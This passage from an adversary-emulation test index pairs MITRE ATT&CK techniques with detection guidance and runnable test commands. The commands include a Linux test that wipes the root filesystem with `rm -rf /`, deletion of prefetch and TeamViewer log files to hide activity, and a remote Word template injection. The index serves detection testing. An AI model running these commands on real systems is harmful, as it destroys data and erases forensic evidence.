in the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted. ' supported_platforms: - windows input_arguments: folder_to_delete: description: Folder to delete. Run the prereq command to create it if it does not exist. type: string default: "$env:TEMP\\deleteme_folder_T1551.004" dependency_executor_name: powershell dependencies: - description: 'The folder to delete must exist on disk at specified location (#{folder_to_delete}) ' prereq_command: 'if (Test-Path #{folder_to_delete}) {exit 0} else {exit 1} ' get_prereq_command: 'New-Item -Path #{folder_to_delete} -Type Directory | Out-Null ' executor: command: 'Remove-Item -Path #{folder_to_delete} -Recurse ' name: powershell - name: Delete Filesystem - Linux auto_generated_guid: f3aa95fe-4f10-4485-ad26-abf22a764c52 description: 'This test deletes the entire root filesystem of a Linux system. This technique was used by Amnesia IoT malware to avoid analysis. This test is dangerous and destructive, do NOT use on production equipment. ' supported_platforms: - linux executor: command: '[ "$(uname)" = ''Linux'' ] && rm -rf / --no-preserve-root > /dev/null 2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null ' name: sh - name: Delete Prefetch File auto_generated_guid: 36f96049-0ad7-4a5f-8418-460acaeb92fb description: | Delete a single prefetch file. Deletion of prefetch files is a known anti-forensic technique. To verify execution, Run `(Get-ChildItem -Path "$Env:SystemRoot\prefetch\*.pf" | Measure-Object).Count` before and after the test to verify that the number of prefetch files decreases by 1. supported_platforms: - windows executor: command: 'Remove-Item -Path (Join-Path "$Env:SystemRoot\prefetch\" (Get-ChildItem -Path "$Env:SystemRoot\prefetch\*.pf" -Name)[0]) ' name: powershell elevation_required: true - name: Delete TeamViewer Log Files auto_generated_guid: 69f50a5f-967c-4327-a5bb-e1a9a9983785 description: | Adversaries may delete TeamViewer log files to hide activity. This should provide a high true-positive alert ration. This test just places the files in a non-TeamViewer folder, a detection would just check for a deletion event matching the TeamViewer log file format of TeamViewer_##.log. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted. https://twitter.com/SBousseaden/status/1197524463304290305?s=20 supported_platforms: - windows input_arguments: teamviewer_log_file: description: Teamviewer log file to create and delete. type: string default: "$env:TEMP\\TeamViewer_54.log" executor: command: | New-Item -Path #{teamviewer_log_file} -Force | Out-Null Remove-Item #{teamviewer_log_file} -Force -ErrorAction Ignore name: powershell T1221: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Michael Raggi @aRtAGGI - Brian Wiltse @evalstrings - Patrick Campbell, @pjcampbe11 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534 type: attack-pattern created: '2018-10-17T00:14:20.652Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1221 url: https://attack.mitre.org/techniques/T1221 - url: https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12) description: Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018. source_name: Microsoft Open XML July 2017 - source_name: SANS Brian Wiltse Template Injection url: https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780 description: Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019. - url: http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html description: Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018. source_name: Redxorblue Remote Template Injection - url: https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/ description: Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018. source_name: MalwareBytes Template Injection OCT 2017 - source_name: Proofpoint RTF Injection url: https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread description: 'Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption Beyond APT Actors . Retrieved December 9, 2021.' - source_name: Ciberseguridad Decoding malicious RTF files url: https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/ description: Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021. - url: https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104 description: Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018. source_name: Anomali Template Injection MAR 2018 - url: https://blog.talosintelligence.com/2017/07/template-injection.html description: Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018. source_name: Talos Template Injection July 2017 - url: https://github.com/ryhanson/phishery description: Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018. source_name: ryhanson phishery SEPT 2016 modified: '2022-05-11T14:00:00.188Z' name: Template Injection description: |- Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017) Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded. Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017) Adversaries may also modify the *\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files) This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior. Monitor .rtf files for strings indicating the *\template control word has been modified to retrieve a URL resource, such as *\template http or *\template \u-. x_mitre_version: '1.3' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Process: Process Creation' - 'Network Traffic: Network Traffic Content' x_mitre_defense_bypassed: - Static File Analysis x_mitre_permissions_required: - User x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1221 atomic_tests: - name: WINWORD Remote Template Injection auto_generated_guid: 1489e08a-82c7-44ee-b769-51b72d03521d description: "Open a .docx file that loads a remote .dotm macro enabled template from https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1221/src/opencalc.dotm \nExecutes the code specified within the .dotm template.\nRequires download of WINWORD found in Microsoft Ofiice at Microsoft: https://www.microsoft.com/en-us/download/office.aspx. \ \nDefault docs file opens Calculator.exe when test sucessfully executed, while AV turned off.\n" supported_platforms: - windows input_arguments: docx_file: description: Location of the test docx file on the local filesystem. type: path default: PathToAtomicsFolder\T1221\src\Calculator.docx executor: command: 'start "#{docx_file}" ' name: command_prompt T1134: technique: modified: '2023-05-09T14:00:00.188Z' name: Access Token Manipulation description: |- Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation) Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Tom Ueltschi @c_APT_ure - Travis Smith, Tripwire - Robby Winchester, @robwinchester3 - Jared Atkinson, @jaredcatkinson x_mitre_deprecated: false x_mitre_detection: "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '2.0' x_mitre_data_sources: - 'Process: OS API Execution' - 'Command: Command Execution' - 'User Account: User Account Metadata' - 'Process: Process Metadata' - 'Process: Process Creation' - 'Active Directory: Active Directory Object Modification' x_mitre_defense_bypassed: - Windows User Account Control - Heuristic Detection - System Access Controls - Host Forensic Analysis x_mitre_effective_permissions: - SYSTEM x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48 created: '2017-12-14T16:46:06.044Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1134 external_id: T1134 - source_name: BlackHat Atkinson Winchester Token Manipulation description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.' url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf - source_name: Microsoft Command-line Logging description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing - source_name: Microsoft LogonUser description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx - source_name: Microsoft DuplicateTokenEx description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx - source_name: Microsoft ImpersonateLoggedOnUser description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx - source_name: Pentestlab Token Manipulation description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017. url: https://pentestlab.blog/2017/04/03/token-manipulation/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' atomic_tests: [] T1027.002: technique: modified: '2023-03-30T21:01:48.113Z' name: 'Obfuscated Files or Information: Software Packing' description: "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Filip Kafka, ESET x_mitre_deprecated: false x_mitre_detection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - macOS - Windows - Linux x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Metadata' x_mitre_defense_bypassed: - Anti-virus - Heuristic detection - Signature-based detection type: attack-pattern id: attack-pattern--deb98323-e13f-4b0c-8d94-175379069062 created: '2020-02-05T14:17:46.686Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1027/002 external_id: T1027.002 - source_name: Awesome Executable Packing description: Alexandre D'Hondt. (n.d.). Awesome Executable Packing. Retrieved March 11, 2022. url: https://github.com/dhondta/awesome-executable-packing - source_name: ESET FinFisher Jan 2018 description: Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019. url: https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1027.002 atomic_tests: - name: Binary simply packed by UPX (linux) auto_generated_guid: 11c46cd8-e471-450e-acb8-52a1216ae6a4 description: | Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX. No other protection/compression were applied. supported_platforms: - linux input_arguments: bin_path: description: Packed binary type: path default: PathToAtomicsFolder/T1027.002/bin/linux/test_upx executor: command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin ' cleanup_command: 'rm /tmp/packed_bin ' name: sh - name: Binary packed by UPX, with modified headers (linux) auto_generated_guid: f06197f8-ff46-48c2-a0c6-afc1b50665e1 description: | Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX. The UPX magic number (`0x55505821`, "`UPX!`") was changed to (`0x4c4f5452`, "`LOTR`"). This prevents the binary from being detected by some methods, and especially UPX is not able to uncompress it any more. supported_platforms: - linux input_arguments: bin_path: description: Packed binary type: path default: PathToAtomicsFolder/T1027.002/bin/linux/test_upx_header_changed executor: command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin ' cleanup_command: 'rm /tmp/packed_bin ' name: sh - name: Binary simply packed by UPX auto_generated_guid: b16ef901-00bb-4dda-b4fc-a04db5067e20 description: | Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX. No other protection/compression were applied. supported_platforms: - macos input_arguments: bin_path: description: Packed binary type: path default: PathToAtomicsFolder/T1027.002/bin/darwin/test_upx executor: command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin ' cleanup_command: 'rm /tmp/packed_bin ' name: sh - name: Binary packed by UPX, with modified headers auto_generated_guid: 4d46e16b-5765-4046-9f25-a600d3e65e4d description: | Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX. The UPX magic number (`0x55505821`, "`UPX!`") was changed to (`0x4c4f5452`, "`LOTR`"). This prevents the binary from being detected by some methods, and especially UPX is not able to uncompress it any more. supported_platforms: - macos input_arguments: bin_path: description: Packed binary type: path default: PathToAtomicsFolder/T1027.002/bin/darwin/test_upx_header_changed executor: command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin ' cleanup_command: 'rm /tmp/packed_bin ' name: sh T1564.005: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04 type: attack-pattern created: '2020-06-28T22:55:55.719Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1564.005 url: https://attack.mitre.org/techniques/T1564/005 - source_name: MalwareTech VFS Nov 2014 url: https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html description: Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020. - url: https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html description: 'Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.' source_name: FireEye Bootkits - source_name: ESET ComRAT May 2020 url: https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf description: 'Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.' - source_name: Kaspersky Equation QA description: 'Kaspersky Lab''s Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.' url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf modified: '2021-04-29T14:49:39.188Z' name: Hidden File System description: |- Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014) Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Firmware: Firmware Modification' - 'File: File Modification' - 'Windows Registry: Windows Registry Key Modification' x_mitre_permissions_required: - User - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1055.005: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744 type: attack-pattern created: '2020-01-14T01:30:41.092Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1055.005 url: https://attack.mitre.org/techniques/T1055/005 - url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017. source_name: FireEye TLS Nov 2017 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 modified: '2022-04-25T14:00:00.188Z' name: Thread Local Storage description: "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Modification' - 'Process: Process Access' - 'Process: OS API Execution' x_mitre_defense_bypassed: - Anti-virus - Application control spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1622: technique: x_mitre_platforms: - Windows - Linux - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - TruKno object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391 created: '2022-04-01T17:59:46.156Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1622 url: https://attack.mitre.org/techniques/T1622 - source_name: Checkpoint Dridex Jan 2021 url: https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/ description: 'Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.' - source_name: hasherezade debug url: https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf description: hasherezade. (2021, June 30). Module 3 - Understanding and countering malware's evasion and self-defence. Retrieved April 1, 2022. - source_name: AlKhaser Debug url: https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug description: Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1, 2022. - source_name: wardle evilquest partii url: https://objective-see.com/blog/blog_0x60.html description: 'Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021.' - source_name: ProcessHacker Github url: https://github.com/processhacker/processhacker description: ProcessHacker. (2009, October 27). Process Hacker. Retrieved April 11, 2022. - source_name: vxunderground debug url: https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug description: vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022. x_mitre_deprecated: false revoked: false description: |- Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github) Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads. Specific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug) Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021) modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Debugger Evasion x_mitre_detection: |- Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. Monitor debugger logs for signs of abnormal and potentially malicious activity. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: discovery x_mitre_is_subtechnique: false x_mitre_data_sources: - 'Process: Process Creation' - 'Process: OS API Execution' - 'Application Log: Application Log Content' - 'Command: Command Execution' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1622 atomic_tests: - name: Detect a Debugger Presence in the Machine auto_generated_guid: 58bd8c8d-3a1a-4467-a69c-439c75469b07 description: Detecting a running debugger process or if the debugger is attached to a process via PowerShell supported_platforms: - windows executor: command: "# Check for common debugger processes\n$debuggerProcesses = Get-Process | Where-Object { $_.ProcessName -match \"dbg\" -or $_.ProcessName -match \"debug\" }\n# Check for debugging flags\n$debuggingFlags = [System.Diagnostics.Debugger]::IsAttached " name: powershell elevation_required: true T1036.006: technique: modified: '2023-03-30T21:01:52.873Z' name: 'Masquerading: Space after Filename' description: |- Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Erye Hernandez, Palo Alto Networks x_mitre_detection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS x_mitre_version: '1.0' x_mitre_data_sources: - 'File: File Metadata' x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86 created: '2020-02-10T20:47:10.082Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1036/006 external_id: T1036.006 - source_name: Mac Backdoors are back description: Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017. url: https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' identifier: T1036.006 atomic_tests: - name: Space After Filename (Manual) auto_generated_guid: 89a7dd26-e510-4c9f-9b15-f3bae333360f description: 'Space After Filename ' supported_platforms: - macos executor: steps: "1. echo '#!/bin/bash\\necho \"print \\\"hello, world!\\\"\" | /usr/bin/python\\nexit' > execute.txt && chmod +x execute.txt\n\n2. mv 